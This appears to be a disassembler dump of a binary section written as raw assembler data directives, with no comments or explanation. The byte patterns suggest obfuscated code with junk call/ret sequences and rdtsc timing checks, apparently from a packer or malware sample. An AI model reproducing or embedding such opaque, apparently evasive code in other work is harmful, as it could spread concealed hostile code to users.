dd 4E8h, 1F03FF00h, 0FE900h, 0C8200000h, 9A55B151h, 8987715Ah
dd 0E6C6404Ch, 8B66502Fh, 24448BD9h, 6E804h, 0B4A30000h
dd 0E95736BAh, 0BF008B5Bh, 22DF917Fh, 4244489h, 0CE9h
dd 6FB9D00h, 9C8B2FE1h, 0BD018DEBh, 0B5295882h, 9351F75h
dd 0CDD95FFh, 6A0935h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 150424h, 51410000h, 0FCF46AC3h, 58D9501h, 8D010935h
dd 9352489h, 0B76F8589h, 8B500938h, 351D9DBDh, 0B4E95F09h
dd 0B7000001h, 67858BE0h, 6A0938B7h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 14042444h, 40000000h, 0C77BC350h
dd 1800h, 0E59D8900h, 8B093505h, 38B76BB5h, 57006A09h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
dd 0A5CAF31Eh, 8B26E344h, 3511A1BDh, 0D5858B09h, 0F093524h
dd 68Fh, 0F99D8B00h, 89093502h, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 6054967Ch
dd 0E62DA5ADh, 8BFA8B84h, 352B6185h, 3870F09h, 0F000000h
dd 4689F8B7h, 14E89604h, 0F5000000h, 0F651A705h, 0E742FEEAh
dd 50E7FF7Dh, 0D97430A0h, 662A43A2h, 5BBAB6BBh, 2890F50h
dd 8B000000h, 6A96FBh, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1D0424h, 56460000h, 0E6161CC3h, 95DDFEBFh, 0E806A1C6h
dd 11h, 3C6822C5h, 25F8893Bh, 0CC00EA98h, 0BCAD817Bh, 5F1CB3F9h
dd 1645BD8Bh, 0B5FF0935h, 938B767h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ah, 78C35646h, 9C671254h, 556867E7h
dd 81C1C187h, 7CAA2404h, 0B5893E5Dh, 9350D41h, 0B76F858Dh
dd 81660938h, 50C02FDFh, 19860Fh, 0E9600000h, 10h, 0EBFFD1ACh
dd 0BF21D3A6h, 0A660983h, 6B725F94h, 8961F08Bh, 85892404h
dd 93522C9h, 0CDD95FFh, 6A0935h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1A0424h, 57470000h, 9F8908C3h, 5BAB71B6h
dd 0E915BB52h, 615F2621h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Ah, 43C35747h, 0D9D4532Ah, 9D8BB6C2h, 9353091h
dd 225585C7h, 30935h, 0FE8A0000h, 0B76FBD83h, 0F000938h
dd 3A84h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1C04h, 0C3504000h, 6222C785h, 99B38AD6h, 7E98Eh, 0EA640000h
dd 9B11AD14h, 20E961h, 81660000h, 5091D7DBh, 110C30h, 0C1011144h
dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh
dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h
dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E850h, 58200000h
dd 448958C3h, 44810424h, 140424h, 50400000h, 6A41C3h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
dd 0F132DAC3h, 0DA8485D9h, 0EE84AEAh, 19000000h, 0A0B5B86Ah
dd 4FB926EFh, 0FCDF20E7h, 5FD98B1Ah, 1BF1BD8Bh, 0BD830935h
dd 9352255h, 0D5850F03h, 6A000003h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0FF61C350h
dd 458A38FBh, 2BC4736Eh, 3508259Dh, 6FBD8309h, 938B7h
dd 39E840Fh, 0B5310000h, 93524D9h, 0B76FB5FFh, 6A0938h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
dd 7ECBD2C3h, 564EB263h, 2E1195FFh, 6A0935h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 160424h, 50400000h, 73708C3h
dd 4810Fh, 0BB660000h, 8B0FAD1Bh, 6, 0CD59D0Bh, 0B58B0935h
dd 938B763h, 16799D8Bh, 6C70935h, 10001h, 0E855006Ah, 3
dd 5DC35D20h, 4246C89h, 4244481h, 14h, 0C7C35545h, 13995BBFh
dd 9DBD8B07h, 5009350Ah, 0F0BF6657h, 34895F88h, 6E924h
dd 897D0000h, 613E81FAh, 0B76FB5FFh, 0FFF80938h, 35028995h
dd 0AE86009h, 0DF000000h, 5A8F679Bh, 597A86D4h, 21BD01CEh
dd 5F09350Ah, 4D18D89h, 0E9610935h, 0Dh, 92A19A02h, 6EA97D41h
dd 15CE424Fh, 63B58B98h, 6A0938B7h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0EA46C355h
dd 0C3DEA1AEh, 702A0EF7h, 22BEBB66h, 0E99858Bh, 6A0935h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
dd 8BD1ABC3h, 351EDDBDh, 61BD8B09h, 8909352Ch, 0C486h
dd 67F78100h, 8B1960DCh, 35162995h, 5FBF6609h, 0DF71BBB5h
dd 0C2830E71h, 3D9D2904h, 89093508h, 6A2050h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 140424h, 51410000h, 9589D6C3h
dd 9353261h, 0CC07858Dh, 89F50938h, 0B886h, 6890F00h, 89000000h
dd 352AB5BDh, 6ACFB709h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1804h, 0C3554500h, 52532820h, 0F98B66A4h
dd 0B76FB5FFh, 0F500938h, 688h, 758D8900h, 5F093524h, 7E8h
dd 68866200h, 11B8D620h, 568CDF81h, 0FF5B29ECh, 35115195h
dd 5019B709h, 0E9243489h, 0Eh, 1C54A250h, 90560913h, 10E1CC1h
dd 0B5FF12B8h, 938B76Fh, 0F82CBF66h, 0B5595FFh, 3560935h
dd 3528E1BDh, 0BD835F09h, 9350079h, 56840F00h, 0F000000h
dd 0E896FBB7h, 0Ah, 0EA052693h, 37079D6Bh, 505FF98Ch, 0FE95250h
dd 6A000000h, 323F68DBh, 55524A64h, 0ADF0FC3Dh, 310F03B5h
dd 8D7DBF66h, 6A96585Ah, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 16042444h, 40000000h, 0D504C350h, 0BABB6600h
dd 6FB5FFECh, 6A0938B7h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 19042444h, 45000000h, 0FD21C355h, 0A79B1F1Bh
dd 32319589h, 95FF0935h, 9351C35h, 0F858589h, 0CE90935h
dd 0C2000000h, 938E40C4h, 8AA06A51h, 0FF72C9DDh, 38B76FB5h
dd 0FBB70F09h, 2CE595FFh, 8E80935h
dd 0C1000000h, 58C0FCADh, 2BEE53A4h, 3528999Dh, 0BD835B09h
dd 93526BDh, 7C840F02h, 6A000000h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1B042444h, 40000000h, 899BC350h
dd 15BE0C18h, 858B9588h, 93526ADh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Dh, 63C35747h, 75DC04A9h, 26433ED3h
dd 0DF8B66B5h, 600000C6h, 5E8h, 0E317D800h, 958B408Bh
dd 9352795h, 0AE858h, 98850000h, 0E5C70E4Ah, 57FA8F07h
dd 5E00EB80h, 0C779B761h, 35326585h, 9, 80DF8000h, 0FFF3AFE9h
dd 52006AFFh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h
dd 0C3524200h, 0E1F626A2h, 6BCB353Fh, 6AC18B5Ch, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
dd 6A0AC350h, 68C0FCBh, 29000000h, 3533358Dh, 59858D09h
dd 89093526h, 350C018Dh, 8B0F9009h, 1Ch, 12E8h, 0C9267F00h
dd 6535F915h, 0D11384DCh, 0E8886214h, 6631D0B5h, 5B6B85BFh
dd 905B5150h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Ah, 0D3C35242h, 0F906C31Fh, 6A0500h, 0E855006Ah, 3
dd 5DC35D20h, 4246C89h, 4244481h, 14h, 0DCC35545h, 7E9h
dd 0EF020700h, 0BB55E828h, 4FBB006Ah, 6600D3F5h, 0EE64DB81h
dd 0D499858Dh, 6A0939h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 170424h, 51410000h, 7BC33C3h, 31800F3Ch, 0E8000000h
dd 12h, 0A4E0ECC3h, 0F389441Bh, 0BB525BFh, 4ECB823Dh, 14E9F50Dh
dd 24000000h, 3D9DD999h, 258D47F4h, 0C19DD59Bh, 94BC32E7h
dd 5F104C39h, 6A05C083h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1D042444h, 45000000h, 0D387C355h, 6C948130h
dd 0BB236411h, 0FDEB8166h, 52509056h, 5EF0BB66h, 890F310Fh
dd 2, 585AE4B7h, 0D98B6650h, 0E9006A90h, 5, 88B654ACh
dd 6A006AFCh, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 18042444h, 42000000h, 0C682C352h, 66B29190h, 0BF0FDF8Bh
dd 3195FFF9h, 6A093503h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1C042444h, 47000000h, 6C2FC357h, 52B2FFE2h
dd 8B208FADh, 351C31BDh, 0F1958909h, 8909350Ch, 350CC19Dh
dd 0AB8D8D09h, 0F09389Ah, 1185h, 0CE900h, 3A360000h, 70E89D12h
dd 0EDA701D7h, 0D1FF2CAAh, 0AE860h, 0BBA10000h, 3C8876EDh
dd 4BFE855Bh, 8E9h, 8803EF00h, 4355E083h, 81665AC7h, 617454EFh
dd 1C19BD83h, 0F010935h, 0B685h, 8DBD0300h, 6A093507h
dd 52006A02h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h
dd 0C3524200h, 0B819074Fh, 60509B7Ah, 0BE8h, 0B5E1CC00h
dd 8EF8CCAFh, 13872B7Bh, 7A2C40BBh, 52505A55h, 0FFE8B66h
dd 5A616031h, 4896158h, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1B04h, 0C3524200h, 0CFC3368Eh, 650019FFh
dd 0F8D88B66h, 115195FFh, 6A0935h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 170424h, 50400000h, 0BA25A2C3h, 14E95Dh
dd 46CD0000h, 6E75197Ah, 712E7BA3h, 0C4DFF833h, 5979A00Fh
dd 0E9F818C3h, 0D22h, 0E8h, 0ED815D00h, 939D4A3h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 7BC35646h, 3EB8ABEh
dd 0BF6B5CA4h, 6E8EDh, 93640000h, 9A4050C7h, 5F71F780h
dd 6AFE8B66h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 16042444h, 46000000h, 52B7C356h, 81BD8B20h, 8D09351Bh
dd 38932B85h, 0BD9D8B09h, 9009351Dh, 12E9h, 8A1B8200h
dd 97FE3946h, 4E124506h, 0D6779F6h, 509E3E14h, 53006A90h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
dd 0E9035CBCh, 11h, 493202B0h, 0D81DAD68h, 3BACE58Ah, 2B9FD419h
dd 35FF64CBh, 0
dd 0A7F38166h, 25896430h, 0
dd 9D8D0957h, 5B09350Eh, 300985FFh, 9D330935h, 9350B41h
dd 86D9D23h, 0FF6A0935h, 0E8C0Fh, 9E90000h, 0BE000000h
dd 0AC19E3ADh, 4CD4980Fh, 0D15B5FFh, 6A0935h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 170424h, 50400000h, 0FEAEF1C3h
dd 4185893Eh, 0FF093533h, 352EB995h, 0E1E909h, 0F5600000h
dd 5CDB58Bh, 0B0610935h, 598D3100h, 0E6093523h, 21BD8B70h
dd 0E409350Dh, 45BD8971h, 3C093523h, 0B8830F61h, 66000000h
dd 33EEE781h, 89C8B60Fh, 3505218Dh, 89BD3309h, 0BA09351Eh
dd 6, 0DC58589h, 0C18B0935h, 0A658589h, 0E8C10935h, 59953104h
dd 8B093503h, 0E2F766FBh, 12A6BF66h, 8BFCC82Bh, 0CE9D1h
dd 0FECD0000h, 764C57C3h, 0C3DC8AE9h, 64E9FD6Dh, 80000000h
dd 0BD2371CBh, 9352BCDh, 1858Bh, 81B30000h, 8B07C083h
dd 0C083DFh, 0FD03BF9h, 1083h, 99BD0100h, 0E9093508h, 37h
dd 59CF8166h, 0FF8D8BFBh, 89FFFFFFh, 352E4195h, 1E18309h
dd 1D840Fh, 0B70F0000h, 0FFA583D9h, 0FEFFFFFFh, 4ED9D89h
dd 95890935h, 1, 0E9DE8Bh, 8D000000h, 394CD4B5h, 56006A09h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
dd 290B61ECh, 4C4EA8C3h, 6A006A3Fh, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0EFC4C357h
dd 9ABCF87Ah, 0FD07BB66h, 82995FFh, 6A0935h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 33B187C3h
dd 58D444B8h, 0E9558F08h, 0Ch, 4416DAE8h, 416CE41Ah, 0A5BF7397h
dd 1655BD29h, 8AB90935h, 6A00000Fh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 4CADC352h
dd 0E183D7A4h, 0DABF0FFCh, 55006AFCh, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 5B50162h, 0B8093530h
dd 0
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 8AC35141h
dd 4634100Ch, 0E8FC95B3h, 0BA19h, 0DE90000h, 0DC000000h
dd 0D76E6199h, 9337349Fh, 742A2AC8h, 0D1C233ADh, 83D003E8h
dd 0F47504E9h, 0BFD8BF0Fh, 30A70387h, 5870Fh, 81660000h
dd 0D8F1FDFh, 88h, 2E99BD8Bh, 8BF90935h, 35162995h, 52006A09h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
dd 1DC5C9F6h, 8B3F7520h, 35287D8Dh, 0FD3BF09h, 8B5003AAh
dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0F7C35343h, 895F6BBCh
dd 352F3DBDh, 31BD8B09h, 8309351Ch, 351249BDh, 840F0009h
dd 4Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h
dd 42C35141h, 0B8h, 148D0F00h, 0F000000h, 0E81h, 9E900h
dd 1F410000h, 73B59DA1h, 8D45A5D5h, 354C028Dh, 118D8909h
dd 0FF09352Dh, 0D4BB66E1h, 55BD830Ah, 93522h, 441840Fh
dd 0BD890000h, 93521A9h, 2255BD83h, 0F010935h, 44984h
dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h
dd 0C3554500h, 7B58BD27h, 1AFB118Dh, 89958951h, 83093507h
dd 352255BDh, 860F0309h, 3DCh, 10E9h, 3C00D00h, 5394F2Bh
dd 0F5DE7BF3h, 21E0CFDEh, 6A60CEh, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 140424h, 55450000h, 2B5352C3h, 352D4DBDh
dd 20BF5F09h, 6073C070h, 8B551F9h, 8C66615Ah, 958D31D9h
dd 80093528h, 0BD8B04E1h, 9351AE9h, 4A5BD8Bh, 0C90A0935h
dd 183840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 140424h, 53430000h, 8E0F13C3h, 5, 0CFA94BBFh, 1DB58928h
dd 8B093526h, 352B6185h, 53006A09h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1D04h, 0C3534300h, 42176140h, 0ED86A146h
dd 85338153h, 9350D7Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 14h, 95C35242h, 0DE890h, 0A2150000h, 68B674A7h
dd 0FF735770h, 6013ACDDh, 0BE66CF8Bh, 5F612122h, 0C5BF6650h
dd 666090D9h, 9C12AB9h, 3528E98Dh, 6A6109h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 63C35343h, 980E95D5h
dd 66B1408Dh, 0E8BA76BFh, 4, 1F03FFh, 0D88B6650h, 424448Bh
dd 0A8F0Fh, 52500000h, 310F6160h, 585ADE8Bh, 8B66008Bh
dd 244489DEh, 0CE804h, 0A940000h, 2317184Ah, 320497BCh
dd 0FDBBB18Bh, 5F60C4DFh, 0D7EDBF58h, 95FF1AD8h, 9350CDDh
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 8AC35343h
dd 0AE6F4F31h, 9D89868Ch, 9352D05h, 89DF8B66h, 38B76F85h
dd 52006A09h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h
dd 0C3524200h, 91A7B6Fh, 350E7595h, 19FE909h, 830F0000h
dd 5, 2BEF8166h, 67858BC0h, 0F0938B7h, 683h, 0DBD8B00h
dd 0C7093523h, 1800h, 6E86000h, 2B000000h, 0B7ECC875h
dd 5F5B53A8h, 0E9816660h, 6161E593h, 0B76BB58Bh, 6A0938h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
dd 51D9A5C3h, 68D0FB0h, 8B000000h, 350185BDh, 8BD98A09h
dd 3524D585h, 53006A09h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1904h, 0C3534300h, 0F0A7AE98h, 890F8FAEh, 20h, 12E860h
dd 0D3B70000h, 5D3EC5E0h, 6BCE4004h, 9383E911h, 444C4DF4h
dd 0CDB5015Eh, 61093527h, 0BD8B0689h, 9350E65h, 2B61858Bh
dd 46890935h, 0B9BD8B04h, 5009351Dh, 8B665250h, 0E8310FDEh
dd 13h, 0BE23F9FBh, 293429E2h, 0DE1CB1A6h, 77D8E0D0h, 0BFD5383Ch
dd 5A2F419Dh, 89585A5Fh, 0DE92434h, 8E000000h, 0B99AAACBh
dd 0A68D4E4Bh, 0B7BCC31Dh, 0B767B5FFh, 6A0938h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
dd 0B868DEC3h, 0FDD7404h, 380h, 0FE8B6600h, 47240481h
dd 6A22AAFFh, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 18042444h, 42000000h, 4A58C352h, 0E8750DCEh, 5, 0DB26B1F0h
dd 28F0F24h, 60000000h, 858D5B61h, 938B76Fh, 50FBB70Fh
dd 6E953h, 9D000000h, 10B9D15Eh, 2404895Bh, 95FFDD8Ah
dd 9350CDDh, 3DC38166h, 0DB8161ADh, 497A36A4h, 225585C7h
dd 30935h, 89FC0000h, 35286595h, 6FBD8309h, 938B7h, 3A840Fh
dd 50E90000h, 6A000000h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 19042444h, 40000000h, 0A101C350h, 3319A06Fh
dd 0D918D29h, 60570935h, 0B655BE66h, 0EED8D0Bh, 5B610935h
dd 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h
dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h
dd 43000000h, 0B6A6C353h, 0E971D8FAh, 0Bh, 5DADA8F8h, 0ECA2B831h
dd 6A7F8D51h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1A042444h, 46000000h, 31A3C356h, 89DAFD86h, 0B19D8BB9h
dd 8309350Ch, 352255BDh, 850F0309h, 3CAh, 228D9D8Bh, 0BD830935h
dd 938B76Fh, 0B7840F00h, 6A000003h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 5B9FC352h
dd 0FF62D5DEh, 38B76FB5h, 0FBBF6609h, 1195FFD1h, 6A09352Eh
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h
dd 41000000h, 0F5DDC351h, 9B9D971Bh, 53BF662Dh, 63B58B7Fh
dd 530938B7h, 33059D89h, 0C75F0935h, 1000106h, 58E0F00h
dd 66000000h, 8A82C781h, 0D820F50h, 50000000h, 7628BF52h
dd 310F3AD7h, 585A6160h, 0E9243489h, 13h, 63B1D760h, 0E763490Fh
dd 0F9417674h, 4254A8B9h, 0FF08AD55h, 38B76FB5h, 95FFFC09h
dd 9350289h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 18h, 47C35747h, 692041FFh, 0B763B58Bh, 6A0938h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
dd 50ED53C3h, 68D0Fh, 8D0F0000h, 0
a1n1 db '[1█1',0
db 35h, 9, 8Bh
dd 350E9985h, 53006A09h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1D04h, 0C3534300h, 83F32DE0h, 4893B75Dh, 0EE9F81Bh
dd 44000000h, 0C1DEAF17h, 0A3735BA2h, 0E71FD7EEh, 0C4868930h
dd 8B000000h, 352B29BDh, 8B06B709h, 35162995h, 53006A09h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
dd 95AAEC2Dh, 0C0DEF6Dh, 0F08B6060h, 2A1C2ABAh, 8953613Fh
dd 350519BDh, 83615809h, 0BF0F04C2h, 205089D8h, 226D9D89h
dd 858D0935h, 938CC07h, 81858950h, 5F09350Dh, 0B88689h
dd 0DF8B0000h, 0F71BD09h, 6A0935h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 15h, 0ECC35343h, 6FB5FF52h, 0B30938B7h
dd 5195FFE7h, 60093511h, 6840Fh, 0B58B0000h, 935006Dh
dd 0B49B58Bh, 96610935h, 13E9h, 0A34AB700h, 6C209B7h, 3FD52D9Ah
dd 8C7CB299h, 0B3B9F20Ch, 0A7BB6650h, 6A96B3h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
dd 9E0345C3h, 8BA20F56h, 351B55BDh, 6FB5FF09h, 6A0938B7h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h
dd 46000000h, 0A327C356h, 574D4182h, 89F607A6h, 35321DB5h
dd 5595FF09h, 5209350Bh, 2D85895Bh, 8309352Ch, 350079BDh
dd 840F0009h, 57h, 0B8B0Fh, 6E90000h, 0D3000000h, 0B7A77BBAh
dd 0BF6696FDh, 8B505B2Fh, 6A96FBh, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1C0424h, 51410000h, 48E8C5C3h, 5AF950D6h
dd 0EE8EF9Eh, 46000000h, 6C1F562Eh, 2500D9F2h, 529341D0h
dd 0E78166E4h, 0FF5B72D8h, 38B76FB5h, 0DBBF0F09h, 1C3595FFh
dd 0FFF90935h, 38B76FB5h, 51006A09h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1804h, 0C3514100h, 0D5BC4BBh
dd 0BD0B5340h, 9352CB1h, 0E595FF5Fh, 6A09352Ch, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
dd 83F6C353h, 3526BDBDh, 840F0209h, 59h, 0E851006Ah, 3
dd 59C35920h, 4244C89h, 4244481h, 17h, 0E5C35141h, 0F5DE8FABh
dd 0D198589h, 858B0935h, 93526ADh, 0C6D8BF0Fh, 6A0000h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
dd 890F75C3h, 5, 0ACF38166h, 6585C71Ah, 93532h, 0F000000h
dd 3E9FFBFh, 8BFFFFF4h, 3522BDBDh, 95858909h, 8B09351Bh
dd 51006AC1h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h
dd 0C3514100h, 6E90168h, 7D000000h, 424F6EA9h, 858DF5CEh
dd 9352659h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Bh, 98C35242h, 44CCDB8Eh, 1FA91E8h, 352201BDh, 52509009h
dd 0AE857h, 53440000h, 72FDAE0Eh, 0F0FF30B1h, 310F5B5Bh
dd 585A5B51h, 90FA8B50h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Dh, 84C35343h, 0CB17F026h, 75ADB00Dh, 9D29509Ah
dd 9351F49h, 81006A5Fh, 7F5E1EF3h, 0A3F7810Eh, 6A0EC968h
dd 0B5016000h, 9353005h, 6156F580h, 0E3CB858Dh, 0C0830939h
dd 15858905h, 50093506h, 0ACBC28BBh, 24048955h, 326DBD8Bh
dd 6A0935h, 1C259D89h, 6A0935h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 18h, 54C35545h, 0C3420220h, 23599D8Bh
dd 95FF0935h, 9350331h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 15h, 76C35343h, 0BDBD03E8h, 66093521h, 174EEF81h
dd 6E9h, 471F7700h, 8DC0FA0Eh, 389AAB8Dh, 98DB8109h, 0FF048A00h
dd 52006AD1h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h
dd 0C3524200h, 53C07292h, 31DD8529h, 525B0935h, 2D1D9D8Bh
dd 835F0935h, 351C19BDh, 850F0109h, 0A5h, 0E852006Ah, 3
dd 5AC35A20h, 4245489h, 4244481h, 1Bh, 19C35242h, 8B6E6DDAh
dd 2B56956Dh, 351E01BDh, 0F5026A09h, 50F98B90h, 5E8h, 72370D00h
dd 52507EF3h, 310F5250h, 310F585Ah, 0BE9h, 9638A700h, 163B9318h
dd 0ACA4D37Bh, 905F585Ah, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 19h, 25C35040h, 0ACF9DA0Dh, 0CE8EFh, 0FB5E0000h
dd 0C4EF6E09h, 0FB28A1Fh, 0FE978CEh, 0CE000000h, 0CC3E52FDh
dd 0BABC1859h, 3F8488EEh, 0FF5F173Eh, 35115195h, 0F69E909h
dd 0E80000h, 5D000000h, 0E3D5ED81h, 6A0939h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 180424h, 52420000h, 0A4461FC3h
dd 1CBB2971h, 5150194Eh, 25799D8Bh, 6A5F0935h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
dd 0D700C351h, 0C1F64651h, 858D150Ah, 938932Bh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0E9C35343h, 0F8F8C69Ah
dd 66905090h, 641826BFh, 35FFh, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 170424h, 53430000h, 0A705F5C3h
dd 646CB751h, 2589h, 0B3600000h, 5BD8B0Ch, 6109352Dh, 300985FFh
dd 0FE80935h, 82000000h, 2A04CF22h, 0DEB9E70Eh, 3FD8D82Bh
dd 0BE96A22h, 0A9000000h, 0A9942C31h, 0E4570B97h, 6A5B620Bh
dd 0FFEBB3FFh, 351239B5h, 56006A09h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 0B7CEEE68h
dd 0B995FF11h, 0E909352Eh, 12Bh, 6E9h, 0CE3BAB00h, 0B04D3DECh
dd 94F38000h, 23A98589h, 70E60935h, 4296BF66h, 0BD2B71E4h
dd 9352EE1h, 830F613Ch, 0FFh, 0BE8h, 9C05300h, 518CAFF5h
dd 4029A2Dh, 0F5FDDB7h, 0BF66C8B6h, 0B9B3591Dh, 6BAh, 0BE900h
dd 0DE110000h, 0B8A9DF33h, 82F820EAh, 0E9C18B78h, 11h
dd 520AEC8Dh, 93461415h, 0AEFD4A9h, 995D45D3h, 4E8C100h
dd 0F766DE8Ah, 0F6EB81E2h, 2B571851h, 0EB81FCC8h, 5617B3BCh
dd 830FD18Bh, 6, 507EEB81h, 8956357Ch, 3524CDBDh, 84E95F09h
dd 81000000h, 0B30A4ED3h, 4858B58h, 83000000h, 0FA8B07C0h
dd 6600C083h, 0E499DB81h, 830FD03Bh, 0Bh, 0E9F8B70Fh, 5Bh
dd 8BFAB70Fh, 0FFFFFF8Dh, 0BE9FFh, 0FF380000h, 0D3D2C08h
dd 2AA296E2h, 1E183BCh, 39840Fh, 8F0F0000h, 4, 6412BF66h
dd 0FFFFA583h, 89FEFFFFh, 3505E585h, 4958909h, 89000000h
dd 35295195h, 0CE909h, 99100000h, 0A91CAABDh, 95FA85CFh
dd 0E9BC3Dh, 8D000000h, 395C5EB5h, 53006A09h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 0CDD92991h
dd 17B58D89h, 6A0935h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 17h, 0CDC35646h, 0FFFC786Ch, 35082995h, 0F7816609h
dd 0A4B96DA0h, 6A00000Fh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 19042444h, 41000000h, 0CBDEC351h, 9D9E585Ah
dd 48D8529h, 0E1830935h, 56006AFCh, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1504h, 0C3564600h, 29563D81h, 35060D95h
dd 8BFC5F09h, 3526C1BDh, 0B809h, 6A0000h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
dd 0DDDD36C3h, 0AB5278B2h, 14E8F982h, 0F6000000h, 0B39CF318h
